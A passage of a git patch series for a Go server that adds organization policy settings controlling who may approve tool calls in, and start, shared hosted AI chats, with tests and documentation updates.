"ResolveConsent", `{"id":7,"allow":true}`}, + {"the older frame, refuse", "ResolveConsent", `{"id":7,"allow":false}`}, + {"the answer door, allow once", "ResolveQuestion", consentAnswer(`"key":"1"`)}, + {"the answer door, refuse", "ResolveQuestion", consentAnswer(`"key":"3"`)}, + {"the answer door, allow once picked", "ResolveQuestion", consentAnswer(`"picked":["1"]`)}, + } { + if got := a.ask(t, "mia", next(), call.method, call.payload); got != "" { + t.Errorf("%s: an edit guest was refused with %q", call.name, got) + } + } + for _, call := range []struct{ name, method, payload string }{ + {"the older frame, remember", "ResolveConsentRemember", `{"id":7,"allow":true,"scope":"tool"}`}, + {"the older frame, remember a refusal", "ResolveConsentRemember", `{"id":7,"allow":false,"scope":"tool"}`}, + {"the answer door, allow always", "ResolveQuestion", consentAnswer(`"key":"2"`)}, + {"the answer door, a pick hidden behind a plain key", "ResolveQuestion", consentAnswer(`"key":"1","picked":["2"]`)}, + {"the answer door, put away", "ResolveQuestion", consentAnswer(`"key":"3","dismissed":true`)}, + {"the answer door, a revision", "ResolveQuestion", consentAnswer(`"key":"1","revises":true`)}, + {"the answer door, no key", "ResolveQuestion", consentAnswer(``)}, + {"the chat's own approval setting", remote.MethodSetApproval, `{}`}, + } { + if got := a.ask(t, "mia", next(), call.method, call.payload); got != guestOwnerWords { + t.Errorf("%s: an edit guest reads %q, want %q", call.name, got, guestOwnerWords) + } + } + // Without the answer verb nothing changes: the guest is told they may not answer. + for _, call := range []struct{ method, payload string }{ + {"ResolveConsent", `{"id":7,"allow":true}`}, + {"ResolveQuestion", consentAnswer(`"key":"1"`)}, + } { + if got := a.ask(t, "abir", next(), call.method, call.payload); got != guestAnswerWords { + t.Errorf("a view guest sending %s reads %q, want %q", call.method, got, guestAnswerWords) + } + } + guestExpectNothingMore(t, a.wires["mia"].host) +} + +// Contract A3: the setting reaches a window that is already open, within a heartbeat, in both directions, the way a verb +// taken away does. +func TestApprovalsByReachesAnOpenWindowOnTheNextHeartbeat(t *testing.T) { + a := newGuestApprovalRig(t, nil) + allow := func(id int) string { + return a.ask(t, "mia", id, "ResolveQuestion", consentAnswer(`"key":"1"`)) + } + if got := allow(1); got != guestOwnerWords { + t.Fatalf("before the setting: %q", got) + } + a.rg.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.ApprovalsBy = acl.ApprovalsByAnswer }) + // Two beats let a check that was already running when the policy was saved finish. + time.Sleep(2 * guestTestHeartbeat) + if got := allow(2); got != "" { + t.Fatalf("after setting answer: %q", got) + } + a.rg.setAccessPolicy(t, func(p *acl.Policy) { p.Chats = acl.Chats{} }) + time.Sleep(2 * guestTestHeartbeat) + if got := allow(3); got != guestOwnerWords { + t.Fatalf("after taking the setting out again: %q", got) + } +} + +// Contract A4: an approval answered by a guest is attributed to that guest on the chat's spend, because it is what lets +// the next model call happen. The owner's own window is not changed by any of it: it still reaches the chat through the +// unchanged byte-copying proxy. +func TestApprovalsByAnswerNamesTheApproverAsTheAsker(t *testing.T) { + a := newGuestApprovalRig(t, func(p *acl.Policy) { p.Chats.ApprovalsBy = acl.ApprovalsByAnswer }) + hs := a.rg.h.config.Hosted.state + if got := hs.askerOf(a.chat); got == "mia" { + t.Fatalf("mia was the asker before she did anything") + } + if got := a.ask(t, "mia", 1, "ResolveConsent", `{"id":7,"allow":true}`); got != "" { + t.Fatalf("the approval was refused: %q", got) + } + if got := hs.askerOf(a.chat); got != "mia" { + t.Fatalf("the asker after mia's approval is %q", got) + } +} + +// Contract A5 and W4: the two settings are the operator's to set, take only their words and say the allowed ones when +// refused, and the policy that GET returns shows them. An organization that set neither shows neither. +func TestChatsSettingsAreValidatedAndShownByThePolicy(t *testing.T) { + o := newWSOrg(t) + var p acl.Policy + o.do(t, "mia", "GET", policyPath, -1, nil, http.StatusOK, &p) + if p.Chats.ApprovalsBy != "" || p.Chats.WakeBy != "" { + t.Fatalf("the default policy already holds %+v", p.Chats) + } + raw := o.raw(t, "mia", "GET", policyPath, nil).Body.String() + if strings.Contains(raw, "approvals_by") || strings.Contains(raw, "wake_by") { + t.Fatalf("the default policy's JSON names a setting nobody set: %s", raw) + } + + p.Chats.ApprovalsBy = acl.ApprovalsByAnswer + o.do(t, "mia", "PUT", policyPath, p.Rev, p, http.StatusForbidden, nil) + + for _, tc := range []struct { + name string + edit func(*acl.Policy) + words []string + }{ + {"approvals_by", func(p *acl.Policy) { p.Chats.ApprovalsBy = "anyone" }, []string{"owner", "answer"}}, + {"wake_by", func(p *acl.Policy) { p.Chats.WakeBy = "anyone" }, []string{"view", "run", "owner"}}, + } { + bad := p + bad.Chats = acl.Chats{} + tc.edit(&bad) + w := o.raw(t, "owner", "PUT", policyPath, bad) + if w.Code != http.StatusUnprocessableEntity { + t.Fatalf("%s set to a word it does not take: %d %s", tc.name, w.Code, w.Body) + } + sentence := errorOf(t, w.Body.Bytes()) + for _, word := range tc.words { + if !strings.Contains(sentence, word) { + t.Errorf("the refusal of a bad %s, %q, does not name %q", tc.name, sentence, word) + } + } + } + + saved := o.setAccessPolicy(t, func(p *acl.Policy) { + p.Chats.ApprovalsBy = acl.ApprovalsByAnswer + p.Chats.WakeBy = acl.WakeByRun + }) + var read acl.Policy + o.do(t, "mia", "GET", policyPath, -1, nil, http.StatusOK, &read) + if saved.Chats.ApprovalsBy != "answer" || read.Chats.ApprovalsBy != "answer" || read.Chats.WakeBy != "run" { + t.Fatalf("the policy after the write: saved %+v, read %+v", saved.Chats, read.Chats) + } + raw = o.raw(t, "mia", "GET", policyPath, nil).Body.String() + if !strings.Contains(raw, `"approvals_by":"answer"`) || !strings.Contains(raw, `"wake_by":"run"`) { + t.Fatalf("GET of the policy does not show the settings: %s", raw) + } +} From 45a047f92833cad5aa616025131148b49324d59e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 09:46:11 -0500 Subject: [PATCH 161/176] org: wake_by lets an organization keep a guest from starting a chat that is not running Opening a shared chat that is not running starts it, for its owner and in their place among the chats they may have running. Today anyone who can see the chat does that, and a `view` guest's `codeaf chat --org --once` is one way: it starts the chat in one-shot mode and is then refused when it tries to send, and the owner's own window reads "already open in a different interactive or headless mode" until the chat stops or idles. The organization's policy now has `chats.wake_by`: - `view`, also what an absent setting means: anyone who can see the chat opens it. Nothing changes, and the organization server asks the chats' host for nothing it did not ask for before. - `run`: only a person who may send messages in the chat starts it. A person who can only watch is told "This chat is not running. Starting it takes permission to send messages in it. Ask its owner." and the host's wire door is never reached, so nothing is started. - `owner`: only the chat's owner starts it (a bot acting for them does not count). Others read "This chat is not running. Only its owner can start it. Ask them to open it." A chat that is already running opens for everyone who can see it under every setting. The owner's own window is the byte-copying proxy and no setting touches it. If the chat's state cannot be read, a restricted setting refuses with the "not answering" sentence instead of guessing. The rule is checked when the window opens; a chat that stops in the instant between the check and the connection can still be started by the guest. Tests: TestWakeByViewIsTodaysBehaviourAndAsksTheHostNothingExtra, TestWakeByRunKeepsAWatcherFromStartingAChatThatIsNotRunning, TestWakeByOwnerLeavesStartingAChatToItsOwner, TestWakeByTurnsBackToViewAndOpensTheChatAgain. Co-Authored-By: Claude Opus 5.5 --- internal/factory/serve/hosted_access.go | 4 + internal/factory/serve/hosted_guest.go | 45 ++++++ .../serve/hosted_guest_choices_test.go | 152 ++++++++++++++++++ internal/factory/serve/hosted_proxy_test.go | 41 ++++- 4 files changed, 241 insertions(+), 1 deletion(-) diff --git a/internal/factory/serve/hosted_access.go b/internal/factory/serve/hosted_access.go index 7ed03cfcb3..a302370fc3 100644 --- a/internal/factory/serve/hosted_access.go +++ b/internal/factory/serve/hosted_access.go @@ -157,6 +157,10 @@ func (h *Handler) lookupHostedChat(w http.ResponseWriter, r *http.Request, id st return chat, true } +// hostedStateRunning is the state the chats' host reports for a chat with a live process. Anything else it says (it says +// suspended) means opening the chat starts it. +const hostedStateRunning = "running" + type hostedStatusFields struct { ID string `json:"id"` State string `json:"state"` diff --git a/internal/factory/serve/hosted_guest.go b/internal/factory/serve/hosted_guest.go index 54e536d5aa..2013d82ad1 100644 --- a/internal/factory/serve/hosted_guest.go +++ b/internal/factory/serve/hosted_guest.go @@ -35,6 +35,10 @@ const ( // A guest opening a chat that is not running starts it for its owner, and either the owner's own limit or the machine's can say no. // The sentence is the guest's, never the owner's ("You already have ... chats running"), and names no number or person. hostedGuestNoRoom = "This chat is not running, and there is no room to start it right now. Try again later." + // The two sentences a guest reads when the organization keeps them from starting a chat that is not running + // (chats.wake_by). Neither says how the chat comes to be stopped, because the guest has no use for the word. + hostedGuestWakeOwner = "This chat is not running. Only its owner can start it. Ask them to open it." + hostedGuestWakeRun = "This chat is not running. Starting it takes permission to send messages in it. Ask its owner." ) var errHostedGuestLineCap = errors.New(hostedGuestLongLine) @@ -127,6 +131,10 @@ func (h *Handler) hostedGuestWire(w http.ResponseWriter, r *http.Request, item I }) }) + if words := h.hostedGuestWakeRefusal(ctx, hs, item.ID, owner, v, p.rights.Load().(hostedGuestRights)); words != "" { + p.fatal(words) + return + } host, status := hs.dialGuestHost(ctx, item.ID, owner) if host == nil { switch status { @@ -155,6 +163,43 @@ func (h *Handler) hostedGuestWire(w http.ResponseWriter, r *http.Request, item I cancel() } +// hostedGuestWakeRefusal is the sentence a guest is refused with when the organization's rule (chats.wake_by) keeps them +// from starting a chat that is not running, and "" when the wire may go on. Opening a chat that is not running starts it +// for its owner, in its owner's place among the chats they may have running, and the rule is the only thing that says +// whether a guest may do that. The default rule asks for nothing and reads nothing, so an organization that never set it +// sees no extra request. A chat that stops between this read and the connection below it can still be started by the +// guest: the rule is checked when the window opens, not held for the life of the wire. +func (h *Handler) hostedGuestWakeRefusal(ctx context.Context, hs *hostedState, id, owner string, v Viewer, rights hostedGuestRights) string { + rule := v.acc.rules().Chats.WakeByFor() + if rule == acl.WakeByView { + return "" + } + // An owner is the person, never a bot acting for them, because a bot's scope is a limit on what it may start. + words, may := hostedGuestWakeOwner, v.Handle == owner && v.Agent == nil + if rule == acl.WakeByRun { + words, may = hostedGuestWakeRun, rights.verbs.Has(acl.VerbRun) + } + if may { + return "" + } + status, _, body, err := hs.call(ctx, http.MethodGet, "/v1/sessions/"+id, owner, nil) + if err != nil || (status != http.StatusOK && status != http.StatusNotFound) { + // Without the chat's state the rule cannot be applied, and starting it would be the one thing it forbids. + return hostedUnreachable + } + if status == http.StatusNotFound { + return hostedGuestRemoved + } + var row hostedStatusFields + if json.Unmarshal(body, &row) != nil { + return hostedUnreachable + } + if row.State == hostedStateRunning { + return "" + } + return words +} + func (hs *hostedState) dialGuestHost(ctx context.Context, id, owner string) (*websocket.Conn, int) { // The dial deadline bounds only the handshake, because a live wire may last for hours. ctx, cancel := context.WithTimeout(ctx, hostedCallTimeout) diff --git a/internal/factory/serve/hosted_guest_choices_test.go b/internal/factory/serve/hosted_guest_choices_test.go index b4de65ee9e..2558bdb473 100644 --- a/internal/factory/serve/hosted_guest_choices_test.go +++ b/internal/factory/serve/hosted_guest_choices_test.go @@ -1,6 +1,7 @@ package serve import ( + "encoding/json" "fmt" "net/http" "net/http/httptest" @@ -310,3 +311,154 @@ func TestChatsSettingsAreValidatedAndShownByThePolicy(t *testing.T) { t.Fatalf("GET of the policy does not show the settings: %s", raw) } } + +// wakeRig is santosh's chat that is NOT running, shared with abir at `view`, mia at `edit` and noor at `full`. +type wakeRig struct { + rg *hostedRig + chat string + srv *httptest.Server + opened <-chan guestHostWire +} + +func newWakeRig(t *testing.T) *wakeRig { + t.Helper() + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + hostedGrant(t, rg, "santosh", chat, "mia", "edit") + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + return &wakeRig{rg: rg, chat: chat, srv: srv, opened: opened} +} + +// open attaches as who and says the sentence the window was refused with, or "" when the host's wire was reached. +func (w *wakeRig) open(t *testing.T, who string) string { + t.Helper() + client := guestDial(t, w.srv, w.rg.tokens[who], w.chat) + guestWrite(t, client, guestTestHello) + frames := make(chan string, 1) + go func() { + if _, raw, err := client.Read(t.Context()); err == nil { + frames <- string(raw) + } + }() + select { + case host := <-w.opened: + var hello remote.Frame + if err := json.Unmarshal([]byte(guestHostLine(t, host)), &hello); err != nil || hello.Kind != "hello" { + t.Fatalf("the chat did not receive a hello: %v", err) + } + return "" + case raw := <-frames: + frame := guestFrame(t, raw) + if frame.Kind != "fatal" || frame.Error == "" { + t.Fatalf("a refused window was sent %+v", frame) + } + return frame.Error + case <-time.After(5 * time.Second): + t.Fatal("the window was neither let through nor refused") + return "" + } +} + +const ( + wakeOwnerWords = "This chat is not running. Only its owner can start it. Ask them to open it." + wakeRunWords = "This chat is not running. Starting it takes permission to send messages in it. Ask its owner." +) + +// Contract W1: with no setting, or `view` said out loud, anyone who can see a chat that is not running opens it, which +// starts it for its owner, exactly as before. The organization server asks the host nothing more than it always did. +func TestWakeByViewIsTodaysBehaviourAndAsksTheHostNothingExtra(t *testing.T) { + for _, tc := range []struct { + name string + edit func(*acl.Policy) + }{ + {"absent", nil}, + {"view", func(p *acl.Policy) { p.Chats.WakeBy = acl.WakeByView }}, + } { + t.Run(tc.name, func(t *testing.T) { + w := newWakeRig(t) + if tc.edit != nil { + w.rg.setAccessPolicy(t, tc.edit) + } + before := w.rg.host.rowReads(w.chat) + if got := w.open(t, "abir"); got != "" { + t.Fatalf("a view guest was refused with %q", got) + } + if w.rg.host.wireRequests(w.chat) != 1 { + t.Fatalf("the host's wire door was reached %d times", w.rg.host.wireRequests(w.chat)) + } + // One read is the model-access check every attach has always made. + if reads := w.rg.host.rowReads(w.chat) - before; reads != 1 { + t.Fatalf("an attach read the chat's row %d times, want the one it always made", reads) + } + }) + } +} + +// Contract W2: under `wake_by: run`, a person who can only watch a chat that is not running is told to ask its owner and +// the chat is not started (the host's wire door is never reached); a person who may send messages starts it; and a chat +// that is already running opens for both. +func TestWakeByRunKeepsAWatcherFromStartingAChatThatIsNotRunning(t *testing.T) { + w := newWakeRig(t) + w.rg.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.WakeBy = acl.WakeByRun }) + if got := w.open(t, "abir"); got != wakeRunWords { + t.Fatalf("a view guest on a chat that is not running reads %q, want %q", got, wakeRunWords) + } + if n := w.rg.host.wireRequests(w.chat); n != 0 { + t.Fatalf("the refused guest still started the chat: %d wire requests", n) + } + if got := w.open(t, "mia"); got != "" { + t.Fatalf("an edit guest was refused with %q", got) + } + if n := w.rg.host.wireRequests(w.chat); n != 1 { + t.Fatalf("the edit guest's attach reached the wire door %d times", n) + } + w.rg.host.setRunning(w.chat, true) + if got := w.open(t, "abir"); got != "" { + t.Fatalf("a view guest was refused on a running chat: %q", got) + } + if n := w.rg.host.wireRequests(w.chat); n != 2 { + t.Fatalf("the running chat's attach reached the wire door %d times in all", n) + } +} + +// Contract W3: under `wake_by: owner`, only the chat's owner starts it. A guest with `edit` is told to ask the owner, a +// running chat still opens for them, and the owner's own window is the unchanged proxy, which no setting touches. +func TestWakeByOwnerLeavesStartingAChatToItsOwner(t *testing.T) { + w := newWakeRig(t) + w.rg.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.WakeBy = acl.WakeByOwner }) + for _, who := range []string{"abir", "mia"} { + if got := w.open(t, who); got != wakeOwnerWords { + t.Fatalf("%s on a chat that is not running reads %q, want %q", who, got, wakeOwnerWords) + } + } + if n := w.rg.host.wireRequests(w.chat); n != 0 { + t.Fatalf("a refused guest started the chat: %d wire requests", n) + } + if got := w.open(t, "santosh"); got != "" { + t.Fatalf("the owner was refused with %q", got) + } + if n := w.rg.host.wireRequests(w.chat); n != 1 { + t.Fatalf("the owner's attach reached the wire door %d times", n) + } + w.rg.host.setRunning(w.chat, true) + if got := w.open(t, "mia"); got != "" { + t.Fatalf("an edit guest was refused on a running chat: %q", got) + } +} + +// Contract W5: the setting reads the organization's policy afresh on each attach, so turning it back to `view` (or +// taking it out) lets a watcher open a chat that is not running again. +func TestWakeByTurnsBackToViewAndOpensTheChatAgain(t *testing.T) { + w := newWakeRig(t) + w.rg.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.WakeBy = acl.WakeByOwner }) + if got := w.open(t, "abir"); got != wakeOwnerWords { + t.Fatalf("under owner a view guest reads %q", got) + } + w.rg.setAccessPolicy(t, func(p *acl.Policy) { p.Chats = acl.Chats{} }) + if got := w.open(t, "abir"); got != "" { + t.Fatalf("after taking the setting out a view guest reads %q", got) + } +} diff --git a/internal/factory/serve/hosted_proxy_test.go b/internal/factory/serve/hosted_proxy_test.go index 7afaa3e688..8425c8b9af 100644 --- a/internal/factory/serve/hosted_proxy_test.go +++ b/internal/factory/serve/hosted_proxy_test.go @@ -35,6 +35,9 @@ type fakeChatHost struct { wire func(*websocket.Conn, *http.Request) // A wire refusal makes the host answer the wire with this status and its own sentence instead of upgrading. wireRefusal int + // running names the chats whose row says "running". Every other chat is suspended, which is what a chat is until + // somebody opens it. + running map[string]bool } type hostSeen struct { @@ -67,6 +70,38 @@ func (f *fakeChatHost) adopt(id, person string) { f.owners[id], f.tokens[id] = person, "" } +// setRunning makes a chat's row say it has a live process (or not). +func (f *fakeChatHost) setRunning(id string, running bool) { + f.mu.Lock() + defer f.mu.Unlock() + if f.running == nil { + f.running = map[string]bool{} + } + f.running[id] = running +} + +// wireRequests counts the attaches that reached the host's wire door, each of which starts a chat that is not running. +func (f *fakeChatHost) wireRequests(id string) int { + n := 0 + for _, seen := range f.requests() { + if seen.method == http.MethodGet && seen.path == "/v1/sessions/"+id+"/wire" { + n++ + } + } + return n +} + +// rowReads counts the reads of one chat's row. +func (f *fakeChatHost) rowReads(id string) int { + n := 0 + for _, seen := range f.requests() { + if seen.method == http.MethodGet && seen.path == "/v1/sessions/"+id { + n++ + } + } + return n +} + func (f *fakeChatHost) ownerOf(id string) string { f.mu.Lock() defer f.mu.Unlock() @@ -161,9 +196,13 @@ func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { if lie, ok := f.rowBearer[id]; ok { fingerprint = lie } + state := "suspended" + if f.running[id] { + state = "running" + } f.mu.Unlock() w.Header().Set("Content-Type", "application/json") - _, _ = io.WriteString(w, `{"id":"`+id+`","state":"suspended","model_bearer":"`+fingerprint+`"}`+"\n") + _, _ = io.WriteString(w, `{"id":"`+id+`","state":"`+state+`","model_bearer":"`+fingerprint+`"}`+"\n") case len(parts) == 1 && r.Method == http.MethodDelete: f.mu.Lock() delete(f.owners, id) From 929d10f4a83bc18163c7ca8ec59fbb6edca3431c Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 09:46:44 -0500 Subject: [PATCH 162/176] org: test that a bot without run never counts as the owner for wake_by TestWakeByDoesNotLetABotWithoutRunStartItsCreatorsChat: a view-scoped bot is refused on its creator's chat that is not running under both owner and run, and a bot that may run chats starts it under run. Co-Authored-By: Claude Opus 5.5 --- .../serve/hosted_guest_choices_test.go | 38 ++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/internal/factory/serve/hosted_guest_choices_test.go b/internal/factory/serve/hosted_guest_choices_test.go index 2558bdb473..15cc3e3d50 100644 --- a/internal/factory/serve/hosted_guest_choices_test.go +++ b/internal/factory/serve/hosted_guest_choices_test.go @@ -335,7 +335,13 @@ func newWakeRig(t *testing.T) *wakeRig { // open attaches as who and says the sentence the window was refused with, or "" when the host's wire was reached. func (w *wakeRig) open(t *testing.T, who string) string { t.Helper() - client := guestDial(t, w.srv, w.rg.tokens[who], w.chat) + return w.openWith(t, w.rg.tokens[who]) +} + +// openWith is open for a credential that is not a person's, a bot's for one. +func (w *wakeRig) openWith(t *testing.T, token string) string { + t.Helper() + client := guestDial(t, w.srv, token, w.chat) guestWrite(t, client, guestTestHello) frames := make(chan string, 1) go func() { @@ -462,3 +468,33 @@ func TestWakeByTurnsBackToViewAndOpensTheChatAgain(t *testing.T) { t.Fatalf("after taking the setting out a view guest reads %q", got) } } + +// Contract W6: a bot never counts as the owner. Its creator's own chat that is not running stays closed to a bot whose +// scope does not let it run chats, under `owner` and under `run` alike, while the creator opens it, and a bot whose scope +// holds `run` starts it under `run`. +func TestWakeByDoesNotLetABotWithoutRunStartItsCreatorsChat(t *testing.T) { + w := newWakeRig(t) + w.chat = w.rg.create(t, "abir") + view := w.rg.contractBot(t, "abir", "View bot", "view") + full := w.rg.contractBot(t, "abir", "Full bot", "full") + + w.rg.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.WakeBy = acl.WakeByOwner }) + if got := w.openWith(t, view.Token); got != wakeOwnerWords { + t.Fatalf("a view bot under owner reads %q, want %q", got, wakeOwnerWords) + } + if n := w.rg.host.wireRequests(w.chat); n != 0 { + t.Fatalf("a refused bot started its creator's chat: %d wire requests", n) + } + if got := w.open(t, "abir"); got != "" { + t.Fatalf("the creator was refused with %q", got) + } + + w.rg.host.setRunning(w.chat, false) + w.rg.setAccessPolicy(t, func(p *acl.Policy) { p.Chats.WakeBy = acl.WakeByRun }) + if got := w.openWith(t, view.Token); got != wakeRunWords { + t.Fatalf("a view bot under run reads %q, want %q", got, wakeRunWords) + } + if got := w.openWith(t, full.Token); got != "" { + t.Fatalf("a bot that may run chats was refused with %q", got) + } +} From 00bd0e78a9878711bb8dff61decd36fed3716ede Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 09:47:58 -0500 Subject: [PATCH 163/176] docs: describe chats.approvals_by and chats.wake_by, and write them into the manual docs/organizations.md and deploy/org/README.md describe both settings where the policy is described, and the two known limits that mention them (a guest's `--once` starting a chat for its owner, and a tool approval staying with the owner) now say what the setting changes. The app protocol's policy shape lists the two fields. The chat's own manual has a section for each setting on the hosted-chats page, in the words someone would ask with, and the refusal, keyboard and sharing sections name the new sentences. Probes keep each question on its page. Co-Authored-By: Claude Opus 5.5 --- deploy/org/README.md | 25 ++++++++++++++++--- docs/design/app-v3/PROTOCOL.md | 6 +++-- docs/organizations.md | 13 +++++++--- .../chat/organization-hosted-sessions.md | 18 ++++++++++--- internal/manual/chat/organization-sharing.md | 4 +-- internal/manual/chat_hosted_test.go | 5 ++++ 6 files changed, 57 insertions(+), 14 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 0081055de0..a89ee0335f 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -425,6 +425,24 @@ right to a private chat than anyone else (the policy's `operator.sees_private` i into their own My space. The refusals read `Only the person who owns this chat can move it, and they need permission to manage it.` (the default) and `Only the person who owns this chat, or someone with permission to manage it, can move it.` Any other word is refused with a 422. +- **Who approves a tool call.** `PUT /v1/org/policy` takes `"chats": {"approvals_by": "owner"}` or `"chats": {"approvals_by": "answer"}`. + Absent or empty means `owner`: a command a shared chat wants to run, which needs approval under its owner's approval mode, + waits for the owner whatever role anyone else holds, on both of the chat's approval doors (`ResolveConsent`, and an answer to + the chat's question of kind `consent` sent through `ResolveQuestion`); a guest who tries either reads `This chat is shared with + you. Only its owner can do that.` `answer` lets a person who holds the `answer` verb (the `edit` and `full` roles) allow one + call once, or refuse it, by either door. Allowing a tool for the rest of the chat, putting the approval away, revising an + answer and the chat's own approval setting stay with the owner, and a person who cannot answer is refused as always. The + guest's approval is recorded as the chat's latest asker. The setting is re-read on each heartbeat, so it reaches a window + that is already open. Any other word is refused with a 422 that names the two. +- **Who may start a chat that is not running.** `PUT /v1/org/policy` takes `"chats": {"wake_by": "view"}`, `"run"` or `"owner"`. + Absent or empty means `view`: opening a shared chat that is not running starts it for its owner, in its owner's place among + the chats they may have running, for anyone who can see it (a `view` guest's `--once` included), which is what the server always + did. `run` lets only a person who holds `run` start it, and `owner` only its owner; anyone else reads `This chat is not running. + Starting it takes permission to send messages in it. Ask its owner.` or `This chat is not running. Only its owner can start it. + Ask them to open it.`, and the chats' host is never asked to start it. A chat that is already running opens for everyone who can + see it under every setting, and the owner's own window is not affected. The rule is checked when the window opens; if the + chat's state cannot be read, `run` and `owner` refuse with the "not answering" sentence. Any other word is refused with a 422 + that names the three. - **The hosting policy.** `PUT /v1/org/policy` takes `"hosting": {"local_sessions": "allow|warn|refuse", "max_session_cost_usd": 0}`. Empty `local_sessions` means `refuse` for an organization that has chats' machine and `allow` for one that does not; the list reports the value that applies, with `words` to show for `refuse` (that @@ -438,9 +456,10 @@ right to a private chat than anyone else (the policy's `operator.sees_private` i Known limit of this version: a guest's `Steer` or prompt is refused by the chat itself, in the chat's own words about the keyboard, while the owner's window holds the keyboard, because the guest's window does not take it on arrival; it goes through when the owner has no window open, or after the guest sends `Take` (allowed with `run`, and the owner's -window is told). `Interrupt` and `ResolveQuestion` are not affected. A tool-use approval stays the owner's, so a -command that needs one waits for the owner. The proper fix for both is a guest class inside the engine itself, which -is a change to the wire's own protocol and not made here. +window is told). `Interrupt` and `ResolveQuestion` are not affected, except that an answer to a tool approval is the +owner's unless `chats.approvals_by` says `answer`. A tool-use approval stays the owner's by default, so a command that +needs one waits for the owner. The proper fix for the keyboard is a guest class inside the engine itself, which is a +change to the wire's own protocol and not made here. ### Turning it on diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index 7738473254..a3e8eb7719 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -1159,8 +1159,10 @@ An engine whose hello carries `org_access` serves an organization's access polic grants on its things. `factory.org_policy` `GET /v1/org/policy` answers the policy to any member: `{rev, roles: [{name, verbs}], owner_role, org_role, defaults: {: {visibility}}, sharing: {who}, operator: {role, sees_private, may_govern}, agents: {may_create, may_share, -may_grant, default_scope, scopes?}, chats?: {move_by}}` (`chats` is present only when set, and -`move_by` is `owner`, the default, or `manage`: who may move a chat), and the default policy when none was ever saved, which +may_grant, default_scope, scopes?}, chats?: {move_by?, approvals_by?, wake_by?}}` (`chats` is present only when set, and +each field only when set: `move_by` is `owner`, the default, or `manage`, who may move a chat; `approvals_by` is `owner`, the +default, or `answer`, who approves a tool call in a shared hosted chat; `wake_by` is `view`, the default, `run` or `owner`, who +may start a hosted chat that is not running), and the default policy when none was ever saved, which is how the server behaved before policies existed. A role is a named bundle of verbs from a closed list (`view`, `comment`, `edit`, `run`, `steer`, `answer`, `share`, `manage`), every role holds `view`, and the four names `view`, `comment`, `edit` and `full` are kept. Only diff --git a/docs/organizations.md b/docs/organizations.md index 8d22b1a95b..43eef08067 100644 --- a/docs/organizations.md +++ b/docs/organizations.md @@ -103,7 +103,8 @@ organization starts with (the operator can change their bundles; the names stay) What a guest can do in a hosted chat follows from the verbs: `view` watches and reads; `steer` also interrupts a turn and redirects it; `answer` also answers a question the chat is waiting on; `run` also sends messages, files and commands. `manage` also stops or deletes the chat. Everything else (approving a tool use, settings, opening the -chat's files) is the owner's whatever the role. +chat's files) is the owner's whatever the role, with one setting: `chats.approvals_by` set to `answer` lets a person who +holds `answer` allow one tool use once, or refuse it (never allow a tool for the rest of the chat). **The owner owns the chat.** It runs on the owner's credentials, spending limits and GitHub identity. A person who may send messages acts with the owner's GitHub identity, the owner's files and the owner's limits, and the server records @@ -146,7 +147,9 @@ The organization's policy (`GET` and `PUT /v1/org/policy`; only the operator cha `CODEAF_HOSTED_SESSION_CAP_USD` (five dollars). The monthly limit every person's spend is held to is set by the operator in Settings (twenty dollars by default). The same policy holds the roles, whether new chats start private (the default for chats and hosted chats), who may share, -who may move a chat (`chats.move_by`: `owner`, the default, or `manage`) and what bots and agents may do. +who may move a chat (`chats.move_by`: `owner`, the default, or `manage`), who approves a tool call in a shared chat +(`chats.approvals_by`: `owner`, the default, or `answer`), who may start a chat that is not running (`chats.wake_by`: +`view`, the default, `run` or `owner`) and what bots and agents may do. A **team server does not trust its own computer.** A request from the server's own machine with no sign-in is refused like any other (a solo server, a desktop window's own, still trusts it). `loopback_trust` is off for a team server; the @@ -312,11 +315,13 @@ It answers with an `access_token` the same way. - A guest's message or steer waits while the owner's window holds the keyboard: the chat itself refuses it in its own words about the keyboard. It goes through when the owner has no window open, or after the guest takes the keyboard (allowed with `run`). Interrupting and answering are not affected. A tool-use approval stays with the owner, so a command that - needs one waits for the owner. + needs one waits for the owner, unless the policy's `chats.approvals_by` is `answer`. - A guest who runs `codeaf chat --org ... --session ... --once` on a chat that is not running starts it for its owner in that one-shot mode, even when the guest's own message is refused. The owner's window then reads `this conversation is already open in a different interactive or headless mode; close it before retrying` until the chat is stopped (the owner's stop, or - `POST /v1/hosted/sessions//stop`) or stops itself when idle. + `POST /v1/hosted/sessions//stop`) or stops itself when idle. The policy's `chats.wake_by` set to `run` or `owner` + keeps a person who cannot send messages in the chat (or anyone but its owner) from starting it at all: they are told the + chat is not running and to ask its owner, and nothing starts. The default, `view`, is the behaviour described here. - By default only the owner moves a chat between My space and a workstream; the policy's `chats.move_by` set to `manage` lets people with the `manage` verb on the chat move it too (never into their own My space, never a bot). - `local_sessions` `allow` and `warn` are reported and stored; nothing in a client acts on them yet. diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index c9f2cfdfa6..43dd0d2539 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -72,7 +72,7 @@ A chat shared with you opens with `codeaf chat --org --session hs_...`, - **answer**: also answer a question the chat is waiting on. - **run** (the `edit` and `full` roles have it): also send messages, files and images, and run a command the chat's own way, as the chat's owner would. -Everything else on the chat's wire stays with the owner whatever role a person holds: approving a command, changing a setting, opening the chat's files, stopping its work. A command that needs approval waits for the owner. Stopping or deleting the chat itself is a separate door that needs the `manage` permission, which the `full` role holds: see *stop or delete a chat on the server*. +Everything else on the chat's wire stays with 